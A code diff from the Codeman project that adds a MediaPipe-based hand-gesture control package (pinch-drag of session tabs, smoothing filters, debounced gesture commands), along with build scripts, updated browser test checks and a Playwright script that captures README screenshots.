+    this.lastRaw = 0;
+  }
+
+  /** @param timeSec strictly-increasing timestamp in seconds. */
+  filter(x: number, timeSec: number): number {
+    let dt = this.lastTimeSec === null ? 1 / 60 : timeSec - this.lastTimeSec;
+    if (dt <= 0) dt = 1 / 60;
+    this.lastTimeSec = timeSec;
+
+    // Rate of change, itself low-passed, drives the adaptive cutoff.
+    const dRaw = this.signal.initialized ? (x - this.lastRaw) / dt : 0;
+    this.lastRaw = x;
+    const edRaw = this.derivative.filter(dRaw, smoothingAlpha(this.dCutoff, dt));
+
+    const cutoff = this.minCutoff + this.beta * Math.abs(edRaw);
+    return this.signal.filter(x, smoothingAlpha(cutoff, dt));
+  }
+}

packages/gesture-control/src/gesture/commands.ts

@@ -0,0 +1,78 @@
+// Discrete gesture → command detection.
+//
+// Maps the recognizer's canned gesture categories onto Codeman commands, with
+// debouncing so each command fires once per gesture *entry* (not every frame
+// while it's held). Open_Palm is special: it must be held continuously for
+// `palmHoldMs` before firing halt-all — a dead-man's-switch that's hard to
+// trigger by accident, since pausing every session is a big hammer.
+
+import type { CommandName } from './types.ts';
+
+interface CommandSpec {
+  name: CommandName;
+  /** If set, the gesture must be held this long (ms) before it fires. */
+  holdMs?: number;
+}
+
+/** MediaPipe canned gesture category → command. */
+const GESTURE_COMMANDS: Record<string, CommandSpec> = {
+  Open_Palm: { name: 'halt-all', holdMs: -1 }, // holdMs filled from palmHoldMs
+  Thumb_Up: { name: 'approve' },
+  Victory: { name: 'new-session' },
+};
+
+export class CommandDetector {
+  /** gesture category → timestamp (ms) it was first seen in the current hold. */
+  private heldSince = new Map<string, number>();
+  /** gestures that already fired during the current hold (cleared on release). */
+  private fired = new Set<string>();
+
+  constructor(private palmHoldMs = 1000) {}
+
+  reset(): void {
+    this.heldSince.clear();
+    this.fired.clear();
+  }
+
+  private holdMsFor(spec: CommandSpec): number {
+    return spec.holdMs === -1 ? this.palmHoldMs : (spec.holdMs ?? 0);
+  }
+
+  /**
+   * Feed the set of command-gestures currently shown (across all hands).
+   * @returns the commands that fired on this frame (usually empty).
+   */
+  update(gestures: Set<string>, nowMs: number): CommandName[] {
+    // Forget gestures no longer held, so they can re-fire on the next entry.
+    for (const g of [...this.heldSince.keys()]) {
+      if (!gestures.has(g)) {
+        this.heldSince.delete(g);
+        this.fired.delete(g);
+      }
+    }
+
+    const fired: CommandName[] = [];
+    for (const g of gestures) {
+      const spec = GESTURE_COMMANDS[g];
+      if (!spec) continue;
+
+      const since = this.heldSince.get(g) ?? nowMs;
+      if (!this.heldSince.has(g)) this.heldSince.set(g, since);
+      if (this.fired.has(g)) continue;
+
+      if (nowMs - since >= this.holdMsFor(spec)) {
+        fired.push(spec.name);
+        this.fired.add(g);
+      }
+    }
+    return fired;
+  }
+
+  /** 0–1 charge of the held halt-all gesture (1 once fired, 0 when released). */
+  haltProgress(nowMs: number): number {
+    const since = this.heldSince.get('Open_Palm');
+    if (since === undefined) return 0;
+    if (this.fired.has('Open_Palm')) return 1;
+    return Math.min(1, (nowMs - since) / this.palmHoldMs);
+  }
+}

packages/gesture-control/src/gesture/landmarks.ts

@@ -0,0 +1,78 @@
+// MediaPipe hand landmark indices and the bone connections between them.
+// See: https://developers.google.com/mediapipe/solutions/vision/hand_landmarker
+//
+// 21 landmarks per hand, each normalized to [0,1] in image space.
+
+export const LANDMARK = {
+  WRIST: 0,
+  THUMB_CMC: 1,
+  THUMB_MCP: 2,
+  THUMB_IP: 3,
+  THUMB_TIP: 4,
+  INDEX_MCP: 5,
+  INDEX_PIP: 6,
+  INDEX_DIP: 7,
+  INDEX_TIP: 8,
+  MIDDLE_MCP: 9,
+  MIDDLE_PIP: 10,
+  MIDDLE_DIP: 11,
+  MIDDLE_TIP: 12,
+  RING_MCP: 13,
+  RING_PIP: 14,
+  RING_DIP: 15,
+  RING_TIP: 16,
+  PINKY_MCP: 17,
+  PINKY_PIP: 18,
+  PINKY_DIP: 19,
+  PINKY_TIP: 20,
+} as const;
+
+/** Pairs of landmark indices that form the hand skeleton, for overlay drawing. */
+export const HAND_CONNECTIONS: ReadonlyArray<readonly [number, number]> = [
+  // Thumb
+  [0, 1],
+  [1, 2],
+  [2, 3],
+  [3, 4],
+  // Index
+  [0, 5],
+  [5, 6],
+  [6, 7],
+  [7, 8],
+  // Middle
+  [5, 9],
+  [9, 10],
+  [10, 11],
+  [11, 12],
+  // Ring
+  [9, 13],
+  [13, 14],
+  [14, 15],
+  [15, 16],
+  // Pinky
+  [13, 17],
+  [17, 18],
+  [18, 19],
+  [19, 20],
+  // Palm base
+  [0, 17],
+];
+
+export interface NormalizedLandmark {
+  x: number;
+  y: number;
+  z: number;
+  visibility?: number;
+}
+
+/** Euclidean distance between two normalized landmarks (x/y plane). */
+export function dist2d(a: NormalizedLandmark, b: NormalizedLandmark): number {
+  const dx = a.x - b.x;
+  const dy = a.y - b.y;
+  return Math.hypot(dx, dy);
+}
+
+/** Midpoint of two normalized landmarks (x/y plane). */
+export function midpoint(a: NormalizedLandmark, b: NormalizedLandmark): { x: number; y: number } {
+  return { x: (a.x + b.x) / 2, y: (a.y + b.y) / 2 };
+}

packages/gesture-control/src/gesture/pinch.ts

@@ -0,0 +1,67 @@
+// Pinch detection from hand landmarks.
+//
+// Distance between thumb tip (4) and index tip (8), normalized by hand size
+// (wrist 0 → middle-finger MCP 9) so the threshold is robust to how close the
+// hand is to the camera. Hysteresis + N-frame persistence keep the grab/release
+// edge from flickering — critical for not "dropping" a tab mid-drag.
+
+import { LANDMARK, dist2d, type NormalizedLandmark } from './landmarks.ts';
+
+/**
+ * Thumb-tip→index-tip distance as a fraction of hand size. Smaller = more
+ * pinched. Roughly in [0, ~1.5]; ~0.35 is a firm pinch, ~0.5+ is open.
+ */
+export function pinchDistance(landmarks: NormalizedLandmark[]): number {
+  const thumb = landmarks[LANDMARK.THUMB_TIP];
+  const index = landmarks[LANDMARK.INDEX_TIP];
+  const wrist = landmarks[LANDMARK.WRIST];
+  const middleMcp = landmarks[LANDMARK.MIDDLE_MCP];
+  const handSize = dist2d(wrist, middleMcp) || 1e-6;
+  return dist2d(thumb, index) / handSize;
+}
+
+/**
+ * Tracks pinch state with two thresholds (hysteresis) and a persistence count.
+ * Enter a pinch below `onThreshold`; leave it only above `offThreshold`
+ * (offThreshold > onThreshold). A flip must hold for `persistFrames` frames
+ * before it commits, rejecting single-frame noise.
+ */
+export class PinchDetector {
+  private pinching = false;
+  private pendingFrames = 0;
+
+  constructor(
+    private onThreshold = 0.35,
+    private offThreshold = 0.5,
+    private persistFrames = 2
+  ) {}
+
+  reset(): void {
+    this.pinching = false;
+    this.pendingFrames = 0;
+  }
+
+  get isPinching(): boolean {
+    return this.pinching;
+  }
+
+  /** Feed one frame's distance. Returns true if the committed state CHANGED. */
+  update(distance: number): boolean {
+    const target = this.pinching
+      ? distance < this.offThreshold // stay pinched until the hand opens wide
+      : distance < this.onThreshold; // start pinching once fingers close
+
+    if (target === this.pinching) {
+      this.pendingFrames = 0;
+      return false;
+    }
+
+    this.pendingFrames += 1;
+    if (this.pendingFrames >= this.persistFrames) {
+      this.pinching = target;
+      this.pendingFrames = 0;
+      return true;
+    }
+    return false;
+  }
+}

packages/gesture-control/src/gesture/types.ts

@@ -0,0 +1,80 @@
+// Shared types for the gesture input layer.
+//
+// Phase 0/1 scope: only `status` and `results` (debug) events are emitted yet.
+// The semantic events (hover/grab/drag/drop/command) are declared here so the
+// public API shape is stable, but they are wired in later phases.
+
+import type { GestureRecognizerResult } from '@mediapipe/tasks-vision';
+
+export interface GestureControllerOptions {
+  /** The <video> element the camera stream is attached to. */
+  video: HTMLVideoElement;
+  /** Element whose bounding rect normalized coords are mapped against. Defaults to video. (Used from Phase 2.) */
+  surface?: HTMLElement;
+  /** Number of hands to track. v1 = 1. */
+  numHands?: number;
+  /** Pinch hysteresis thresholds (fractions of hand-size). Used from Phase 2. */
+  pinchOn?: number;
+  pinchOff?: number;
+  /** One-Euro cursor smoothing. Lower minCutoff = smoother/laggier when still;
+   *  higher beta = less lag during fast moves. Used from Phase 2. */
+  minCutoff?: number;
+  beta?: number;
+  /** How long Open_Palm must be held to fire halt-all. Used from Phase 4. */
+  palmHoldMs?: number;
+  /** Specific camera to open (from enumerateDevices). Empty = default facingMode "user". */
+  deviceId?: string;
+  /** MediaPipe detection/tracking confidence. */
+  minDetectionConfidence?: number;
+  minTrackingConfidence?: number;
+  /** CDN base used to load the wasm fileset + .task model. */
+  wasmBase?: string;
+  modelUrl?: string;
+}
+
+export type CommandName = 'halt-all' | 'approve' | 'new-session';
+
+/** Per-hand state for the current frame. */
+export interface HandState {
+  /** "Left" / "Right" as reported by MediaPipe (image-space). Used to key filters. */
+  handedness: string;
+  /** Smoothed cursor in raw (unmirrored) normalized [0,1] coords; consumers mirror X. */
+  cursor: { x: number; y: number };
+  /** Thumb/index distance as a fraction of hand size. */
+  pinchDist: number;
+  /** Whether this hand is currently pinching (after hysteresis). */
+  pinching: boolean;
+  /** Top gesture category for this hand, if any. */
+  gesture: string | null;
+}
+
+/** A pointer sample for one hand, in surface pixel coords (origin = surface
+ *  top-left, X already mirrored to match the displayed video). */
+export interface HandPointer {
+  hand: string;
+  x: number;
+  y: number;
+}
+
+/** Payloads emitted per event name. */
+export interface GestureEventMap {
+  /** Pinch just closed — start of a drag. */
+  grab: HandPointer;
+  /** Cursor moved while pinched — emitted every frame during a drag. */
+  drag: HandPointer;
+  /** Pinch released (or the hand vanished mid-pinch) — end of a drag. */
+  drop: HandPointer;
+  command: { name: CommandName };
+  status: {
+    fps: number;
+    /** One entry per detected hand (0–`numHands`). */
+    hands: HandState[];
+    /** 0–1 charge of the held Open_Palm halt-all gesture (Phase 4). */
+    haltProgress: number;
+  };
+  /** Debug-only: the raw recognizer result for the current frame (drives the overlay). */
+  results: { result: GestureRecognizerResult; timestampMs: number };
+}
+
+export type GestureEventName = keyof GestureEventMap;
+export type GestureEventHandler<K extends GestureEventName> = (payload: GestureEventMap[K]) => void;

packages/gesture-control/src/main.ts

@@ -0,0 +1,188 @@
+// Phase 3 demo wiring.
+//
+// - Start button (camera requires a user gesture) + live camera picker.
+// - Mirrored video preview + debug overlay (skeleton + per-hand cursors).
+// - Live HUD: fps / hands / pinch distance / gesture.
+// - Tab board: pinch-drag session tabs between Screen columns.
+
+import { GestureController } from './gesture/GestureController.ts';
+import { Overlay, type CursorMark } from './demo/overlay.ts';
+import { TabsBoard } from './demo/tabs.ts';
+import type { HandState } from './gesture/types.ts';
+
+// Cyan for the left hand, violet for the right; green takes over while pinching.
+const handColor = (handedness: string): string => (handedness === 'Right' ? '#a78bfa' : '#38bdf8');
+
+const video = document.getElementById('cam') as HTMLVideoElement;
+const canvas = document.getElementById('overlay') as HTMLCanvasElement;
+const stage = document.getElementById('stage') as HTMLDivElement;
+const boardEl = document.getElementById('board') as HTMLDivElement;
+const startBtn = document.getElementById('start') as HTMLButtonElement;
+const stopBtn = document.getElementById('stop') as HTMLButtonElement;
+const fullscreenBtn = document.getElementById('fullscreen') as HTMLButtonElement;
+const cameraSel = document.getElementById('camera') as HTMLSelectElement;
+const fpsEl = document.getElementById('fps') as HTMLSpanElement;
+const handEl = document.getElementById('hand') as HTMLSpanElement;
+const pinchEl = document.getElementById('pinch') as HTMLSpanElement;
+const gestureEl = document.getElementById('gesture') as HTMLSpanElement;
+const statusEl = document.getElementById('status-msg') as HTMLParagraphElement;
+
+const overlay = new Overlay(canvas, video);
+// Coords map against the stage rect (the board overlays it exactly).
+const gc = new GestureController({ video, surface: stage, numHands: 2 });
+
+const board = new TabsBoard(boardEl, (tabId, columnId) => {
+  statusEl.textContent = columnId
+    ? `Moved “${tabId}” → ${columnId}`
+    : `“${tabId}” dropped outside a column — returned.`;
+});
+
+// The board drives off discrete grab/drag/drop; hover highlight off `status`.
+gc.on('grab', ({ hand, x, y }) => board.grab(hand, x, y));
+gc.on('drag', ({ hand, x, y }) => board.drag(hand, x, y));
+gc.on('drop', ({ hand, x, y }) => board.drop(hand, x, y));
+
+// Discrete gesture commands (halt-all / approve / new-session) are intentionally
+// not wired up here — this build is pinch-drag only. The controller still emits
+// `command`/`haltProgress`, but nothing consumes them, so an open palm, thumb,
+// or victory sign does nothing.
+
+// Cached from `status` so the `results` handler draws the same frame's cursors.
+let cursors: CursorMark[] = [];
+let started = false;
+
+gc.on('results', ({ result }) => {
+  overlay.draw(result, cursors);
+});
+
+gc.on('status', ({ fps, hands }) => {
+  cursors = hands.map((h) => ({
+    x: h.cursor.x,
+    y: h.cursor.y,
+    color: handColor(h.handedness),
+    pinching: h.pinching,
+  }));
+
+  // Hover highlights from the full per-frame snapshot (surface px, X mirrored).
+  const rect = stage.getBoundingClientRect();
+  board.hover(
+    hands.map((h) => ({
+      x: (1 - h.cursor.x) * rect.width,
+      y: h.cursor.y * rect.height,
+      pinching: h.pinching,
+    }))
+  );
+
+  fpsEl.textContent = String(fps);
+  fpsEl.style.color = fps >= 25 ? '#4ade80' : fps > 0 ? '#fbbf24' : '#f87171';
+
+  const anyPinching = hands.some((h) => h.pinching);
+  handEl.textContent = hands.length ? hands.map((h) => h.handedness).join(' + ') : 'no';
+  handEl.style.color = hands.length ? '#4ade80' : '#94a3b8';
+  pinchEl.textContent = hands.length ? hands.map(pinchLabel).join('  ') : '—';
+  pinchEl.style.color = anyPinching ? '#4ade80' : '#94a3b8';
+  gestureEl.textContent =
+    hands
+      .filter((h) => h.gesture)
+      .map((h) => h.gesture)
+      .join(', ') || '—';
+});
+
+/** e.g. "L 0.34●" — first letter of handedness, distance, dot when pinching. */
+function pinchLabel(h: HandState): string {
+  return `${h.handedness[0]} ${h.pinchDist.toFixed(2)}${h.pinching ? '●' : ''}`;
+}
+
+startBtn.addEventListener('click', async () => {
+  startBtn.disabled = true;
+  statusEl.textContent = 'Requesting camera + loading model…';
+  try {
+    await gc.start();
+    started = true;
+    statusEl.textContent = 'Running. Pinch-drag tabs between Screens.';
+    stopBtn.disabled = false;
+    await populateCameras();
+  } catch (err) {
+    console.error(err);
+    statusEl.textContent = `Failed to start: ${(err as Error).message}`;
+    startBtn.disabled = false;
+  }
+});
+
+stopBtn.addEventListener('click', () => {
+  gc.stop();
+  started = false;
+  overlay.clear();
+  board.hover([]);
+  cursors = [];
+  statusEl.textContent = 'Stopped.';
+  startBtn.disabled = false;
+  stopBtn.disabled = true;
+  cameraSel.disabled = true;
+  fpsEl.textContent = '0';
+  handEl.textContent = 'no';
+  pinchEl.textContent = '—';
+  gestureEl.textContent = '—';
+});
+
+// Switch cameras live. On macOS the iPhone (Continuity Camera) shows up as
+// "iPhone Camera" plus a separate "Desk View Camera" (the ultra-wide lens).
+cameraSel.addEventListener('change', async () => {
+  statusEl.textContent = `Switching to ${cameraSel.selectedOptions[0]?.text}…`;
+  try {
+    await gc.useCamera(cameraSel.value);
+    statusEl.textContent = 'Running.';
+    // Activating the iPhone can surface its Desk View device — re-check.
+    await populateCameras();
+  } catch (err) {
+    console.error(err);
+    statusEl.textContent = `Couldn't switch camera: ${(err as Error).message}`;
+  }
+});
+
+// Cameras come and go (iPhone mounted/unmounted, Desk View appearing). Keep
+// the dropdown in sync whenever the device set changes.
+navigator.mediaDevices?.addEventListener('devicechange', () => {
+  if (started) void populateCameras();
+});
+
+// Fullscreen the stage so the board (and grab targets) fill the display.
+// Standard API with a webkit fallback for Safari.
+type WebkitEl = HTMLElement & { webkitRequestFullscreen?: () => Promise<void> };
+type WebkitDoc = Document & {
+  webkitFullscreenElement?: Element | null;
+  webkitExitFullscreen?: () => Promise<void>;
+};
+
+function fullscreenElement(): Element | null {
+  return document.fullscreenElement ?? (document as WebkitDoc).webkitFullscreenElement ?? null;
+}
+
+fullscreenBtn.addEventListener('click', () => {
+  if (fullscreenElement()) {
+    (document.exitFullscreen ?? (document as WebkitDoc).webkitExitFullscreen)?.call(document);
+  } else {
+    const el = stage as WebkitEl;
+    (el.requestFullscreen ?? el.webkitRequestFullscreen)?.call(el);
+  }
+});
+
+function syncFullscreenLabel(): void {
+  fullscreenBtn.textContent = fullscreenElement() ? '⤢ Exit fullscreen' : '⛶ Fullscreen';
+}
+document.addEventListener('fullscreenchange', syncFullscreenLabel);
+document.addEventListener('webkitfullscreenchange', syncFullscreenLabel);
+
+/** Fill the camera dropdown; labels appear only after camera permission. */
+async function populateCameras(): Promise<void> {
+  const cams = await gc.listCameras();
+  cameraSel.innerHTML = '';
+  cams.forEach((cam, i) => {
+    const opt = document.createElement('option');
+    opt.value = cam.deviceId;
+    opt.text = cam.label || `Camera ${i + 1}`;
+    if (cam.deviceId === gc.deviceId) opt.selected = true;
+    cameraSel.append(opt);
+  });
+  cameraSel.disabled = cams.length < 2;
+}

packages/gesture-control/tsconfig.json

@@ -0,0 +1,22 @@
+{
+  "compilerOptions": {
+    "target": "ES2020",
+    "useDefineForClassFields": true,
+    "module": "ESNext",
+    "lib": ["ES2020", "DOM", "DOM.Iterable"],
+    "skipLibCheck": true,
+
+    "moduleResolution": "bundler",
+    "allowImportingTsExtensions": true,
+    "resolveJsonModule": true,
+    "isolatedModules": true,
+    "moduleDetection": "force",
+    "noEmit": true,
+
+    "strict": true,
+    "noUnusedLocals": true,
+    "noUnusedParameters": true,
+    "noFallthroughCasesInSwitch": true
+  },
+  "include": ["src"]
+}

packages/gesture-control/vite.config.ts

@@ -0,0 +1,12 @@
+import { defineConfig } from 'vite';
+
+// getUserMedia requires a secure context. http://localhost counts as secure,
+// so the dev server below is fine. If you serve to another device, use https.
+export default defineConfig({
+  root: '.',
+  server: {
+    host: 'localhost',
+    port: 5173,
+    open: true,
+  },
+});

packages/xterm-zerolag-input/README.md

@@ -39,7 +39,7 @@ Server echoes 'h' ←───────────────────
 
 ## Origin
 
-This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), the missing control plane for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code and OpenCode. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
+This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), mission control for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code, OpenCode, and Codex. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
 
 ## Install
 

packages/xterm-zerolag-input/package.json

@@ -45,6 +45,6 @@
     "jsdom": "^24.1.3",
     "tsup": "^8.5.1",
     "typescript": "^5.5.0",
-    "vitest": "^2.1.9"
+    "vitest": "^4.1.8"
   }
 }

public

@@ -1 +0,0 @@
-tools/remotion/public

scripts/browser-comparison.mjs

@@ -19,6 +19,10 @@ const PORTS = {
 
 const results = [];
 
+function isCodemanTitle(title) {
+  return typeof title === 'string' && title.startsWith('codeman:');
+}
+
 function logSection(title) {
   console.log('\n' + '='.repeat(60));
   console.log(`  ${title}`);
@@ -88,7 +92,7 @@ async function main() {
       const page = await playwrightBrowser.newPage();
       await page.goto(`http://localhost:${PORTS.playwright}`);
       const title = await page.title();
-      if (title !== 'Codeman') throw new Error(`Expected Codeman, got ${title}`);
+      if (!isCodemanTitle(title)) throw new Error(`Expected codeman:<hostname>, got ${title}`);
       await page.close();
     });
 
@@ -149,7 +153,7 @@ async function main() {
       const page = await puppeteerBrowser.newPage();
       await page.goto(`http://localhost:${PORTS.puppeteer}`);
       const title = await page.title();
-      if (title !== 'Codeman') throw new Error(`Expected Codeman, got ${title}`);
+      if (!isCodemanTitle(title)) throw new Error(`Expected codeman:<hostname>, got ${title}`);
       await page.close();
     });
 
@@ -202,7 +206,7 @@ async function main() {
     agentBrowser(`open http://localhost:${PORTS.agentBrowser}`);
     await new Promise(r => setTimeout(r, 2000));
     const title = agentBrowserJson('get title');
-    agentBrowserAvailable = title.title === 'Codeman';
+    agentBrowserAvailable = isCodemanTitle(title.title);
     console.log('  Browser launched');
 
     // Test 1: Page load
@@ -210,7 +214,7 @@ async function main() {
       agentBrowser(`open http://localhost:${PORTS.agentBrowser}`);
       await new Promise(r => setTimeout(r, 1000));
       const title = agentBrowserJson('get title');
-      if (title.title !== 'Codeman') throw new Error(`Expected Codeman, got ${title.title}`);
+      if (!isCodemanTitle(title.title)) throw new Error(`Expected codeman:<hostname>, got ${title.title}`);
     });
 
     // Test 2: Element selection

scripts/build-gesture-bundle.mjs

@@ -0,0 +1,52 @@
+#!/usr/bin/env node
+/**
+ * @fileoverview Build the opt-in gesture-overlay bundle from its vendored source
+ * in `packages/gesture-control/` into the web bundle Codeman actually serves,
+ * `src/web/public/gesture/gesture-codeman.js`.
+ *
+ * The source lives in this repo (workspace package `codeman-gesture-control`,
+ * was the standalone `Ark0N/codeman-gesture-control` repo before it was vendored
+ * in). `src/codeman/entry.ts` is the Codeman *consumer* entry — it imports the
+ * transport-agnostic gesture core (`src/gesture/*`) and maps grab/drag/drop onto
+ * Codeman's real session tabs + toolbar buttons. esbuild bundles it (MediaPipe
+ * tasks-vision JS included) into a single ESM file; the MediaPipe wasm + model
+ * are loaded at runtime from same-origin `/gesture/wasm` + `/gesture/*.task`
+ * (fetched separately by scripts/fetch-gesture-assets.mjs), NOT bundled here.
+ *
+ * Run it after editing anything under packages/gesture-control/src/ and commit
+ * the regenerated bundle (the committed copy is what `npm run dev` / tsx serves,
+ * since the web UI ships as plain JS with no bundler). `npm run build` also runs
+ * this so a production build always reflects the current source.
+ *
+ * Usage: node scripts/build-gesture-bundle.mjs [--out <path>]
+ *   --out  output file (default src/web/public/gesture/gesture-codeman.js)
+ *
+ * NOT minified — matches the historical bundle and keeps it debuggable; the
+ * build's compress step gzips/brotlis it for production anyway.
+ */
+import { build } from 'esbuild';
+import { fileURLToPath } from 'node:url';
+import { join, dirname, isAbsolute } from 'node:path';
+
+const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..');
+const ENTRY = join(ROOT, 'packages/gesture-control/src/codeman/entry.ts');
+const DEFAULT_OUT = join(ROOT, 'src/web/public/gesture/gesture-codeman.js');
+
+const outArg = process.argv[process.argv.indexOf('--out') + 1];
+const outfile =
+  process.argv.includes('--out') && outArg
+    ? isAbsolute(outArg)
+      ? outArg
+      : join(process.cwd(), outArg)
+    : DEFAULT_OUT;
+
+await build({
+  entryPoints: [ENTRY],
+  bundle: true,
+  format: 'esm',
+  target: 'es2020',
+  outfile,
+  logLevel: 'info',
+});
+
+console.log(`[gesture] bundle built → ${outfile}`);

scripts/build.mjs

@@ -32,6 +32,12 @@ run('chmod dist/index.js', 'chmod +x dist/index.js');
 // 2. Copy static assets (clean first to remove stale hashed files from previous builds)
 run('clean public', 'rm -rf dist/web/public');
 run('prepare dirs', 'mkdir -p dist/web dist/templates dist/web/public/vendor');
+// Fetch the opt-in gesture overlay's MediaPipe wasm + model into src/ (idempotent,
+// non-fatal, kept out of git) so the copy below carries them into dist/.
+run('gesture assets', 'node scripts/fetch-gesture-assets.mjs');
+// Rebuild the gesture overlay bundle from its vendored source (packages/gesture-control)
+// into src/web/public/gesture/gesture-codeman.js, so prod always reflects current source.
+run('gesture bundle', 'node scripts/build-gesture-bundle.mjs');
 run('copy web assets', 'cp -r src/web/public dist/web/');
 run('copy template', 'cp src/templates/case-template.md dist/templates/');
 
@@ -39,6 +45,7 @@ run('copy template', 'cp src/templates/case-template.md dist/templates/');
 run('xterm css', 'cp node_modules/@xterm/xterm/css/xterm.css dist/web/public/vendor/');
 run('xterm js', 'npx esbuild node_modules/@xterm/xterm/lib/xterm.js --minify --outfile=dist/web/public/vendor/xterm.min.js');
 run('xterm-addon-fit', 'npx esbuild node_modules/@xterm/addon-fit/lib/addon-fit.js --minify --outfile=dist/web/public/vendor/xterm-addon-fit.min.js');
+run('xterm-addon-serialize', 'npx esbuild node_modules/@xterm/addon-serialize/lib/addon-serialize.js --minify --outfile=dist/web/public/vendor/xterm-addon-serialize.min.js');
 run('xterm-addon-webgl', 'cp node_modules/@xterm/addon-webgl/lib/addon-webgl.js dist/web/public/vendor/xterm-addon-webgl.min.js');
 run('xterm-addon-unicode11', 'npx esbuild node_modules/@xterm/addon-unicode11/lib/addon-unicode11.js --minify --outfile=dist/web/public/vendor/xterm-addon-unicode11.min.js');
 run('xterm-zerolag-input', 'npx esbuild packages/xterm-zerolag-input/src/zerolag-input-addon.ts --bundle --minify --format=iife --global-name=XtermZerolagInput --outfile=dist/web/public/vendor/xterm-zerolag-input.js');
@@ -60,6 +67,7 @@ appendFileSync(
 
 // 4. Minify frontend assets
 run('minify input-cjk.js', 'npx esbuild dist/web/public/input-cjk.js --minify --outfile=dist/web/public/input-cjk.js --allow-overwrite');
+run('minify sanitize-html.js', 'npx esbuild dist/web/public/sanitize-html.js --minify --outfile=dist/web/public/sanitize-html.js --allow-overwrite');
 run('minify app.js', 'npx esbuild dist/web/public/app.js --minify --outfile=dist/web/public/app.js --allow-overwrite');
 run('minify terminal-ui.js', 'npx esbuild dist/web/public/terminal-ui.js --minify --outfile=dist/web/public/terminal-ui.js --allow-overwrite');
 run('minify respawn-ui.js', 'npx esbuild dist/web/public/respawn-ui.js --minify --outfile=dist/web/public/respawn-ui.js --allow-overwrite');
@@ -83,6 +91,7 @@ console.log('\n[build] content-hash cache busting');
     'notification-manager.js',
     'keyboard-accessory.js',
     'input-cjk.js',
+    'sanitize-html.js',
     'app.js',
     'terminal-ui.js',
     'respawn-ui.js',
@@ -93,6 +102,7 @@ console.log('\n[build] content-hash cache busting');
     'ralph-wizard.js',
     'api-client.js',
     'subagent-windows.js',
+    'image-input.js',
     'vendor/xterm-zerolag-input.js',
   ];
   const manifest = {};

scripts/capture-readme-real.mjs

@@ -0,0 +1,201 @@
+#!/usr/bin/env node
+/**
+ * capture-readme-real.mjs
+ *
+ * Captures README desktop scenes (multi-session dashboard, monitor, subagent
+ * windows) from a REAL Codeman instance — intended to run against an ISOLATED
+ * dev/beta instance (CODEMAN_INSTANCE=beta on :5000) seeded from prod's settings,
+ * NOT prod itself (never touch prod's live sessions).
+ *
+ * Reuses the high-quality capture recipe proven in capture-real-overview.mjs:
+ *   - DSF=2 + ?nowebgl  → crisp retina at the TRUE font size (WebGL doubles
+ *     glyphs under DSF=2; the DOM renderer respects devicePixelRatio).
+ *   - per-device localStorage seeding so the capture matches a real device.
+ *
+ *   SCENE=dashboard|monitor|subagent|all  BASE=http://localhost:5000 \
+ *     OUT=screenshots-readme-real/desktop  node scripts/capture-readme-real.mjs
+ */
+import { chromium } from 'playwright';
+import { mkdirSync } from 'fs';
+import { join } from 'path';
+
+const BASE = process.env.BASE || 'http://localhost:5000';
+const OUT = process.env.OUT || 'screenshots-readme-real/desktop';
+const SKIN = process.env.SKIN || 'daylight-blue';
+const SCENE = process.env.SCENE || 'all';
+const FONT = Math.max(10, Math.min(24, Number(process.env.FONT || 13)));
+const VIEWPORT = { width: Number(process.env.VW || 1280), height: Number(process.env.VH || 720) };
+const DSF = Number(process.env.DSF || 2);
+const PLAN_USAGE = process.env.PLAN_USAGE !== '0';
+
+const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+const url = (extra = '') => {
+  const sep = BASE.includes('?') ? '&' : '?';
+  const params = [];
+  if (DSF > 1) params.push('nowebgl'); // DOM renderer → correct font size at DSF>1
+  if (extra) params.push(extra);
+  return params.length ? `${BASE}${sep}${params.join('&')}` : BASE;
+};
+
+async function newCtx(browser) {
+  const context = await browser.newContext({
+    viewport: VIEWPORT,
+    deviceScaleFactor: DSF,
+    ignoreHTTPSErrors: BASE.startsWith('https'),
+  });
+  const page = await context.newPage();
+  page.setDefaultTimeout(30000);
+  await page.addInitScript(
+    ([skin, planUsage, font]) => {
+      try {
+        localStorage.setItem('codeman:skin', skin);
+        localStorage.setItem('codeman-font-size', String(font));
+        const blob = { skin, showFileBrowser: false, showProjectInsights: false };
+        if (planUsage) blob.showPlanUsageLimits = true;
+        localStorage.setItem('codeman-app-settings', JSON.stringify(blob));
+      } catch {
+        /* ignore */
+      }
+    },
+    [SKIN, PLAN_USAGE, FONT]
+  );
+  return { context, page };
+}
+
+async function bootstrap(page) {
+  await page.waitForFunction(() => window.app && window.app.terminal, { timeout: 20000 });
+  await sleep(1200);
+}
+
+async function listSessions(page) {
+  return page.evaluate(() =>
+    Array.from(window.app.sessions.values()).map((s) => ({ id: s.id, name: s.name, mode: s.mode }))
+  );
+}
+
+async function shoot(page, name) {
+  const out = join(OUT, name);
+  await page.evaluate((f) => {
+    try {
+      if (window.app.setFontSize) window.app.setFontSize(f);
+    } catch {}
+    try {
+      window.app.fitAddon && window.app.fitAddon.fit();
+    } catch {}
+    try {
+      window.app.applyHeaderVisibilitySettings && window.app.applyHeaderVisibilitySettings();
+    } catch {}
+  }, FONT);
+  await sleep(1500);
+  await page.screenshot({ path: out, fullPage: false });
+  console.log('  Saved: ' + out);
+}
+
+async function sceneDashboard(browser) {
+  console.log('Scene: dashboard');
+  const { context, page } = await newCtx(browser);
+  await page.goto(url(), { waitUntil: 'domcontentloaded' });
+  await bootstrap(page);
+  const sessions = await listSessions(page);
+  // Select a claude session so the active terminal shows rich content; all tabs render.
+  const target = sessions.find((s) => s.mode === 'claude') || sessions[0];
+  if (target) await page.evaluate((id) => window.app.selectSession(id), target.id);
+  await sleep(4000);
+  await shoot(page, 'multi-session-dashboard.png');
+  await context.close();
+}
+
+async function sceneMonitor(browser) {
+  console.log('Scene: monitor');
+  const { context, page } = await newCtx(browser);
+  await page.goto(url(), { waitUntil: 'domcontentloaded' });
+  await bootstrap(page);
+  const sessions = await listSessions(page);
+  const target = sessions.find((s) => s.mode === 'claude') || sessions[0];
